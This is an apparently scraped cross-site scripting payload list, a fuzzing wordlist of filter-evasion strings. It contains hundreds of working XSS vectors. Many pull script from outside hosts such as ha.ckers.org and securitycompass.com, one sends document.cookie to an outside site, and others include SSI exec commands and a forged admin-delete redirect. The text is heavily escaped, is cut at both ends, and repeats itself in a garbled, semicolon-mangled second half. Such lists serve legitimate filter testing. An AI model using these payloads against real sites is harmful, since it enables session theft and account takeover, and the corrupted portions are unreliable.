AllowScriptAccess=\\\"always\\\">\\r\\n';alert(String.fromCharCode(88,83,83))//\\\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n'';!--"<XSS>=&{()}\\r\\n<SCRIPT>alert('XSS')</SCRIPT>\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\r\\n<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n<BASE HREF="javascript:alert('XSS');//">\\r\\n<BGSOUND SRC="javascript:alert('XSS');">\\r\\n<BODY BACKGROUND="javascript:alert('XSS');">\\r\\n<BODY ONLOAD=alert('XSS')>\\r\\n<DIV STYLE="background-image: url(javascript:alert('XSS'))">\\r\\n<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">\\r\\n<DIV STYLE="width: expression(alert('XSS'));">\\r\\n<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>\\r\\n<IFRAME SRC="javascript:alert('XSS');"></IFRAME>\\r\\n<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">\\r\\n<IMG SRC="javascript:alert('XSS');">\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG DYNSRC="javascript:alert('XSS');">\\r\\n<IMG LOWSRC="javascript:alert('XSS');">\\r\\n<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">\\r\\nRedirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser\\r\\nexp/*<XSS STYLE='no\\\\xss:noxss("*//*");\\r\\n<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS\\r\\n<IMG SRC='vbscript:msgbox("XSS")'>\\r\\n<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>\\r\\n<IMG SRC="livescript:[code]">\\r\\n%BCscript%BEalert(%A2XSS%A2)%BC/script%BE\\r\\n<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">\\r\\n<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">\\r\\n<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">\\r\\n<IMG SRC="mocha:[code]">\\r\\n<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>\\r\\n<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>\\r\\na="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d);\\r\\n<STYLE TYPE="text/javascript">alert('XSS');</STYLE>\\r\\n<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">\\r\\n<XSS STYLE="xss:expression(alert('XSS'))">\\r\\n<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>\\r\\n<LINK REL="stylesheet" HREF="javascript:alert('XSS');">\\r\\n<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">\\r\\n<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>\\r\\n<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">\\r\\n<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>\\r\\n<TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>\\r\\n<TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>\\r\\n<HTML xmlns:xss>\\r\\n<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>\\r\\n<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>\\r\\n<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>\\r\\n<HTML><BODY>\\r\\n<!--[if gte IE 4]> \\r\\n<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">\\r\\n<XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">\\r\\n<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>\\r\\n<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->\\r\\n<? echo('<SCR)';\\r\\n<BR SIZE="&{alert('XSS')}">\\r\\n<IMG SRC=JaVaScRiPt:alert('XSS')>\\r\\n<IMG SRC=javascript:alert(&quot;XSS&quot;)>\\r\\n<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>\\r\\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\\r\\n<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\\r\\n<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\\r\\n<DIV STYLE="background-image:\\\\0075\\\\0072\\\\006C\\\\0028'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029'\\\\0029">\\r\\n<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\\r\\n<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-\\r\\n\\\\";alert('XSS');//\\r\\n</TITLE><SCRIPT>alert(\\\"XSS\\\");</SCRIPT>\\r\\n<STYLE>@im\\\\port'\\\\ja\\\\vasc\\\\ript:alert("XSS")';</STYLE>\\r\\n<IMG SRC="jav	ascript:alert('XSS');">\\r\\n<IMG SRC="jav&#x09;ascript:alert('XSS');">\\r\\n<IMG SRC="jav&#x0A;ascript:alert('XSS');">\\r\\n<IMG SRC="jav&#x0D;ascript:alert('XSS');">\\r\\n<IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
\\r\\nperl -e 'print "<IMG SRC=java\\\\0script:alert("XSS")>";'> out\\r\\nperl -e 'print "&<SCR\\\\0IPT>alert("XSS")</SCR\\\\0IPT>";' > out\\r\\n<IMG SRC=" &#14; javascript:alert('XSS');">\\r\\n<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>\\r\\n<BODY onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=alert("XSS")>\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js\\r\\n<SCRIPT SRC=//ha.ckers.org/.j>\\r\\n<IMG SRC="javascript:alert('XSS')"\\r\\n<IFRAME SRC=http://ha.ckers.org/scriptlet.html <\\r\\n<<SCRIPT>alert("XSS");//<</SCRIPT>\\r\\n<IMG """><SCRIPT>alert("XSS")</SCRIPT>">\\r\\n<SCRIPT>a=/XSS/\\r\\n<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>\\r\\n<SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>\\r\\n<SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>\\r\\n<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>\\r\\n<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>\\r\\n<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>\\r\\n<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>\\r\\n<A HREF="http://66.102.7.147/">XSS</A>\\r\\n<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>\\r\\n<A HREF="http://1113982867/">XSS</A>\\r\\n<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>\\r\\n<A HREF="http://0102.0146.0007.00000223/">XSS</A>\\r\\n<A HREF="h
tt	p://6&#09;6.000146.0x7.147/">XSS</A>\\r\\n<A HREF="//www.google.com/">XSS</A>\\r\\n<A HREF="//google">XSS</A>\\r\\n<A HREF="http://ha.ckers.org@google">XSS</A>\\r\\n<A HREF="http://google:ha.ckers.org">XSS</A>\\r\\n<A HREF="http://google.com/">XSS</A>\\r\\n<A HREF="http://www.google.com./">XSS</A>\\r\\n<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>\\r\\n<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>\\r\\n<script>document.vulnerable=true;</script>\\r\\n<img SRC=\\\"jav ascript:document.vulnerable=true;\\\">\\r\\n<img SRC=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<img SRC=\\\"  javascript:document.vulnerable=true;\\\">\\r\\n<body onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=document.vulnerable=true;>\\r\\n<<SCRIPT>document.vulnerable=true;//<</SCRIPT>\\r\\n<script <B>document.vulnerable=true;</script>\\r\\n<img SRC=\\\"javascript:document.vulnerable=true;\\\"\\r\\n<iframe src=\\\"javascript:document.vulnerable=true; <\\r\\n<script>a=/XSS/\\\\ndocument.vulnerable=true;</script>\\r\\n\\\\\\\";document.vulnerable=true;;//\\r\\n</title><SCRIPT>document.vulnerable=true;</script>\\r\\n<input TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<body BACKGROUND=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<body ONLOAD=document.vulnerable=true;>\\r\\n<img DYNSRC=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<img LOWSRC=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<bgsound SRC=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<br SIZE=\\\"&{document.vulnerable=true}\\\">\\r\\n<LAYER SRC=\\\"javascript:document.vulnerable=true;\\\"></LAYER>\\r\\n<link REL=\\\"stylesheet\\\" HREF=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<style>li {list-style-image: url(\\\"javascript:document.vulnerable=true;\\\");</STYLE><UL><LI>XSS\\r\\n<img SRC=\\\'vbscript:document.vulnerable=true;\\\'>\\r\\n1script3document.vulnerable=true;1/script3\\r\\n<meta HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:document.vulnerable=true;\\\">\\r\\n<meta HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=javascript:document.vulnerable=true;\\\">\\r\\n<IFRAME SRC=\\\"javascript:document.vulnerable=true;\\\"></iframe>\\r\\n<FRAMESET><FRAME SRC=\\\"javascript:document.vulnerable=true;\\\"></frameset>\\r\\n<table BACKGROUND=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<table><TD BACKGROUND=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<div STYLE=\\\"background-image: url(javascript:document.vulnerable=true;)\\\">\\r\\n<div STYLE=\\\"background-image: url(javascript:document.vulnerable=true;)\\\">\\r\\n<div STYLE=\\\"width: expression(document.vulnerable=true);\\\">\\r\\n<style>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:document.vulnerable=true\\\';</style>\\r\\n<img STYLE=\\\"xss:expr/*XSS*/ession(document.vulnerable=true)\\\">\\r\\n<XSS STYLE=\\\"xss:expression(document.vulnerable=true)\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\"*//*\\\");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)\\\'>\\r\\n<style TYPE=\\\"text/javascript\\\">document.vulnerable=true;</style>\\r\\n<style>.XSS{background-image:url(\\\"javascript:document.vulnerable=true\\\");}</STYLE><A CLASS=XSS></a>\\r\\n<style type=\\\"text/css\\\">BODY{background:url(\\\"javascript:document.vulnerable=true\\\")}</style>\\r\\n<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->\\r\\n<base HREF=\\\"javascript:document.vulnerable=true;//\\\">\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object>\\r\\n<XML ID=I><X><C><![<IMG SRC=\\\"javas]]<![cript:document.vulnerable=true;\\\">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>\\r\\n<XML ID=\\\"xss\\\"><I><B><IMG SRC=\\\"javas<!-- -->cript:document.vulnerable=true\\\"></B></I></XML><SPAN DATASRC=\\\"#xss\\\" DATAFLD=\\\"B\\\" DATAFORMATAS=\\\"HTML\\\"></span>\\r\\n<html><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>\\\"></BODY></html>\\r\\n<? echo(\\\'<SCR)\\\';echo(\\\'IPT>document.vulnerable=true</SCRIPT>\\\'); ?>\\r\\n<meta HTTP-EQUIV=\\\"Set-Cookie\\\" Content=\\\"USERID=<SCRIPT>document.vulnerable=true</SCRIPT>\\\">\\r\\n<head><META HTTP-EQUIV=\\\"CONTENT-TYPE\\\" CONTENT=\\\"text/html; charset=UTF-7\\\"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-\\r\\n<a href=\\\"javascript#document.vulnerable=true;\\\">\\r\\n<div onmouseover=\\\"document.vulnerable=true;\\\">\\r\\n<img src=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<img dynsrc=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<input type=\\\"image\\\" dynsrc=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<bgsound src=\\\"javascript:document.vulnerable=true;\\\">\\r\\n&<script>document.vulnerable=true;</script>\\r\\n&{document.vulnerable=true;};\\r\\n<img src=&{document.vulnerable=true;};>\\r\\n<link rel=\\\"stylesheet\\\" href=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<iframe src=\\\"vbscript:document.vulnerable=true;\\\">\\r\\n<img src=\\\"mocha:document.vulnerable=true;\\\">\\r\\n<img src=\\\"livescript:document.vulnerable=true;\\\">\\r\\n<a href=\\\"about:<script>document.vulnerable=true;</script>\\\">\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=javascript:document.vulnerable=true;\\\">\\r\\n<body onload=\\\"document.vulnerable=true;\\\">\\r\\n<div style=\\\"background-image: url(javascript:document.vulnerable=true;);\\\">\\r\\n<div style=\\\"behaviour: url([link to code]);\\\">\\r\\n<div style=\\\"binding: url([link to code]);\\\">\\r\\n<div style=\\\"width: expression(document.vulnerable=true;);\\\">\\r\\n<style type=\\\"text/javascript\\\">document.vulnerable=true;</style>\\r\\n<object classid=\\\"clsid:...\\\" codebase=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<style><!--</style><script>document.vulnerable=true;//--></script>\\r\\n<<script>document.vulnerable=true;</script>\\r\\n<![<!--]]<script>document.vulnerable=true;//--></script>\\r\\n<!-- -- --><script>document.vulnerable=true;</script><!-- -- -->\\r\\n<img src=\\\"blah\\\"onmouseover=\\\"document.vulnerable=true;\\\">\\r\\n<img src=\\\"blah>\\\" onmouseover=\\\"document.vulnerable=true;\\\">\\r\\n<xml src=\\\"javascript:document.vulnerable=true;\\\">\\r\\n<xml id=\\\"X\\\"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>\\r\\n<div datafld=\\\"b\\\" dataformatas=\\\"html\\\" datasrc=\\\"#X\\\"></div>\\r\\n[\\\\xC0][\\\\xBC]script>document.vulnerable=true;[\\\\xC0][\\\\xBC]/script>\\r\\n<style>@import\\\'http://www.securitycompass.com/xss.css\\\';</style>\\r\\n<meta HTTP-EQUIV=\\\"Link\\\" Content=\\\"<http://www.securitycompass.com/xss.css>; REL=stylesheet\\\">\\r\\n<style>BODY{-moz-binding:url(\\\"http://www.securitycompass.com/xssmoz.xml#xss\\\")}</style>\\r\\n<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://www.securitycompass.com/scriptlet.html\\\"></object>\\r\\n<HTML xmlns:xss><?import namespace=\\\"xss\\\" implementation=\\\"http://www.securitycompass.com/xss.htc\\\"><xss:xss>XSS</xss:xss></html>\\r\\n<script SRC=\\\"http://www.securitycompass.com/xss.jpg\\\"></script>\\r\\n<!--#exec cmd=\\\"/bin/echo \\\'<SCR\\\'\\\"--><!--#exec cmd=\\\"/bin/echo \\\'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>\\\'\\\"-->\\r\\n<script a=\\\">\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<script =\\\">\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<script a=\\\">\\\" \\\'\\\' SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<script \\\"a=\\\'>\\\'\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<script a=`>` SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<script a=\\\">\\\'>\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<script>document.write(\\\"<SCRI\\\");</SCRIPT>PT SRC=\\\"http://www.securitycompass.com/xss.js\\\"></script>\\r\\n<div style=\\\"binding: url(http://www.securitycompass.com/xss.js);\\\"> [Mozilla]\\r\\n"><BODY onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=alert("XSS")>\\r\\n</script><script>alert(1)</script>\\r\\n</br style=a:expression(alert())>\\r\\n<scrscriptipt>alert(1)</scrscriptipt>\\r\\n<br size=\\\\"&{alert('XSS')}\\\\">\\r\\nperl -e 'print \\\\"<IMG SRC=java\\\\0script:alert(\\\\"XSS\\\\")>\\\\";' > out\\r\\nperl -e 'print \\\\"<SCR\\\\0IPT>alert(\\\\"XSS\\\\")</SCR\\\\0IPT>\\\\";' > out\\r\\n<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\n<~/XSS/*-*/STYLE=xss:e/**/xpression(window.location=\\\"http://www.procheckup.com/?sid=\\\"%2bdocument.cookie)>\\r\\n<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\n<~/XSS STYLE=xss:expression(alert(\\\'XSS\\\'))>\\r\\n\\\"><script>alert(\\\'XSS\\\')</script>\\r\\n</XSS/*-*/STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\nXSS/*-*/STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\nXSS STYLE=xss:e/**/xpression(alert(\\\'XSS\\\'))>\\r\\n</XSS STYLE=xss:expression(alert(\\\'XSS\\\'))>\\r\\n\\\';;alert(String.fromCharCode(88,83,83))//\\\\\\\';;alert(String.fromCharCode(88,83,83))//\\\";;alert(String.fromCharCode(88,83,83))//\\\\\\\";;alert(String.fromCharCode(88,83,83))//-->;<;/SCRIPT>;\\\";>;\\\';>;<;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>;\\r\\n\\\';\\\';;!--\\\";<;XSS>;=&;{()}\\r\\n<;SCRIPT>;alert(\\\';XSS\\\';)<;/SCRIPT>;\\r\\n<;SCRIPT SRC=http://ha.ckers.org/xss.js>;<;/SCRIPT>;\\r\\n<;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>;\\r\\n<;BASE HREF=\\\";javascript:alert(\\\';XSS\\\';);//\\\";>;\\r\\n<;BGSOUND SRC=\\\";javascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;BODY BACKGROUND=\\\";javascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;BODY ONLOAD=alert(\\\';XSS\\\';)>;\\r\\n<;DIV STYLE=\\\";background-image: url(javascript:alert(\\\';XSS\\\';))\\\";>;\\r\\n<;DIV STYLE=\\\";background-image: url(&;#1;javascript:alert(\\\';XSS\\\';))\\\";>;\\r\\n<;DIV STYLE=\\\";width: expression(alert(\\\';XSS\\\';));\\\";>;\\r\\n<;FRAMESET>;<;FRAME SRC=\\\";javascript:alert(\\\';XSS\\\';);\\\";>;<;/FRAMESET>;\\r\\n<;IFRAME SRC=\\\";javascript:alert(\\\';XSS\\\';);\\\";>;<;/IFRAME>;\\r\\n<;INPUT TYPE=\\\";IMAGE\\\"; SRC=\\\";javascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=\\\";javascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=javascript:alert(\\\';XSS\\\';)>;\\r\\n<;IMG DYNSRC=\\\";javascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG LOWSRC=\\\";javascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=\\\";http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\\\";>;\\r\\nRedirect 302 /a.jpg http://victimsite.com/admin.asp&;deleteuser\\r\\nexp/*<;XSS STYLE=\\\';no\\\\xss:noxss(\\\";*//*\\\";);\\r\\n<;STYLE>;li {list-style-image: url(\\\";javascript:alert('XSS')\\\";);}<;/STYLE>;<;UL>;<;LI>;XSS\\r\\n<;IMG SRC=\\\';vbscript:msgbox(\\\";XSS\\\";)\\\';>;\\r\\n<;LAYER SRC=\\\";http://ha.ckers.org/scriptlet.html\\\";>;<;/LAYER>;\\r\\n<;IMG SRC=\\\";livescript:[code]\\\";>;\\r\\n%BCscript%BEalert(%A2XSS%A2)%BC/script%BE\\r\\n<;META HTTP-EQUIV=\\\";refresh\\\"; CONTENT=\\\";0;url=javascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;META HTTP-EQUIV=\\\";refresh\\\"; CONTENT=\\\";0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\";>;\\r\\n<;META HTTP-EQUIV=\\\";refresh\\\"; CONTENT=\\\";0; URL=http://;URL=javascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=\\\";mocha:[code]\\\";>;\\r\\n<;OBJECT TYPE=\\\";text/x-scriptlet\\\"; DATA=\\\";http://ha.ckers.org/scriptlet.html\\\";>;<;/OBJECT>;\\r\\n<;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=javascript:alert(\\\';XSS\\\';)>;<;/OBJECT>;\\r\\n<;EMBED SRC=\\\";http://ha.ckers.org/xss.swf\\\"; AllowScriptAccess=\\\";always\\\";>;<;/EMBED>;\\r\\na=\\\";get\\\";;&;#10;b=\\\";URL(\\\";\\\";;&;#10;c=\\\";javascript:\\\";;&;#10;d=\\\";alert(\\\';XSS\\\';);\\\";)\\\";; eval(a+b+c+d);\\r\\n<;STYLE TYPE=\\\";text/javascript\\\";>;alert(\\\';XSS\\\';);<;/STYLE>;\\r\\n<;IMG STYLE=\\\";xss:expr/*XSS*/ession(alert(\\\';XSS\\\';))\\\";>;\\r\\n<;XSS STYLE=\\\";xss:expression(alert(\\\';XSS\\\';))\\\";>;\\r\\n<;STYLE>;.XSS{background-image:url(\\\";javascript:alert(\\\';XSS\\\';)\\\";);}<;/STYLE>;<;A CLASS=XSS>;<;/A>;\\r\\n<;STYLE type=\\\";text/css\\\";>;BODY{background:url(\\\";javascript:alert(\\\';XSS\\\';)\\\";)}<;/STYLE>;\\r\\n<;LINK REL=\\\";stylesheet\\\"; HREF=\\\";javascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;LINK REL=\\\";stylesheet\\\"; HREF=\\\";http://ha.ckers.org/xss.css\\\";>;\\r\\n<;STYLE>;@import\\\';http://ha.ckers.org/xss.css\\\';;<;/STYLE>;\\r\\n<;META HTTP-EQUIV=\\\";Link\\\"; Content=\\\";<;http://ha.ckers.org/xss.css>;; REL=stylesheet\\\";>;\\r\\n<;STYLE>;BODY{-moz-binding:url(\\\";http://ha.ckers.org/xssmoz.xml#xss\\\";)}<;/STYLE>;\\r\\n<;TABLE BACKGROUND=\\\";javascript:alert(\\\';XSS\\\';)\\\";>;<;/TABLE>;\\r\\n<;TABLE>;<;TD BACKGROUND=\\\";javascript:alert(\\\';XSS\\\';)\\\";>;<;/TD>;<;/TABLE>;\\r\\n<;HTML xmlns:xss>;\\r\\n<;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=\\\";javas]]>;<;![CDATA[cript:alert(\\\';XSS\\\';);\\\";>;]]>;\\r\\n<;XML ID=\\\";xss\\\";>;<;I>;<;B>;<;IMG SRC=\\\";javas<;!-- -->;cript:alert(\\\';XSS\\\';)\\\";>;<;/B>;<;/I>;<;/XML>;\\r\\n<;XML SRC=\\\";http://ha.ckers.org/xsstest.xml\\\"; ID=I>;<;/XML>;\\r\\n<;HTML>;<;BODY>;\\r\\n<;!--[if gte IE 4]>; \\r\\n<;META HTTP-EQUIV=\\\";Set-Cookie\\\"; Content=\\\";USERID=<;SCRIPT>;alert(\\\';XSS\\\';)<;/SCRIPT>;\\\";>;\\r\\n<;XSS STYLE=\\\";behavior: url(http://ha.ckers.org/xss.htc);\\\";>;\\r\\n<;SCRIPT SRC=\\\";http://ha.ckers.org/xss.jpg\\\";>;<;/SCRIPT>;\\r\\n<;!--#exec cmd=\\\";/bin/echo \\\';<;SCRIPT SRC\\\';\\\";-->;<;!--#exec cmd=\\\";/bin/echo \\\';=http://ha.ckers.org/xss.js>;<;/SCRIPT>;\\\';\\\";-->;\\r\\n<;? echo(\\\';<;SCR)\\\';;\\r\\n<;BR SIZE=\\\";&;{alert(\\\';XSS\\\';)}\\\";>;\\r\\n<;IMG SRC=JaVaScRiPt:alert(\\\';XSS\\\';)>;\\r\\n<;IMG SRC=javascript:alert(&;quot;XSS&;quot;)>;\\r\\n<;IMG SRC=`javascript:alert(\\\";RSnake says, \\\';XSS\\\';\\\";)`>;\\r\\n<;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>;\\r\\n<;IMG RC=&;#106;&;#97;&;#118;&;#97;&;#115;&;#99;&;#114;&;#105;&;#112;&;#116;&;#58;&;#97;&;#108;&;#101;&;#114;&;#116;&;#40;&;#39;&;#88;&;#83;&;#83;&;#39;&;#41;>;\\r\\n<;IMG RC=&;#0000106&;#0000097&;#0000118&;#0000097&;#0000115&;#0000099&;#0000114&;#0000105&;#0000112&;#0000116&;#0000058&;#0000097&;#0000108&;#0000101&;#0000114&;#0000116&;#0000040&;#0000039&;#0000088&;#0000083&;#0000083&;#0000039&;#0000041>;\\r\\n<;DIV STYLE=\\\";background-image:\\\\0075\\\\0072\\\\006C\\\\0028\\\';\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.10530053\\\\0027\\\\0029\\\';\\\\0029\\\";>;\\r\\n<;IMG SRC=&;#x6A&;#x61&;#x76&;#x61&;#x73&;#x63&;#x72&;#x69&;#x70&;#x74&;#x3A&;#x61&;#x6C&;#x65&;#x72&;#x74&;#x28&;#x27&;#x58&;#x53&;#x53&;#x27&;#x29>;\\r\\n<;HEAD>;<;META HTTP-EQUIV=\\\";CONTENT-TYPE\\\"; CONTENT=\\\";text/html; charset=UTF-7\\\";>; <;/HEAD>;+ADw-SCRIPT+AD4-alert(\\\';XSS\\\';);+ADw-/SCRIPT+AD4-\\r\\n\\\\\\\";;alert(\\\';XSS\\\';);//\\r\\n<;/TITLE>;<;SCRIPT>;alert(\\\"XSS\\\");<;/SCRIPT>;\\r\\n<;STYLE>;@im\\\\port\\\';\\\\ja\\\\vasc\\\\ript:alert(\\\";XSS\\\";)\\\';;<;/STYLE>;\\r\\n<;IMG SRC=\\\";jav	ascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=\\\";jav&;#x09;ascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=\\\";jav&;#x0A;ascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG SRC=\\\";jav&;#x0D;ascript:alert(\\\';XSS\\\';);\\\";>;\\r\\n<;IMG
SRC
=
\\\";
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t

\\\';
X
S
S
\\\';
)
\\\";
>;
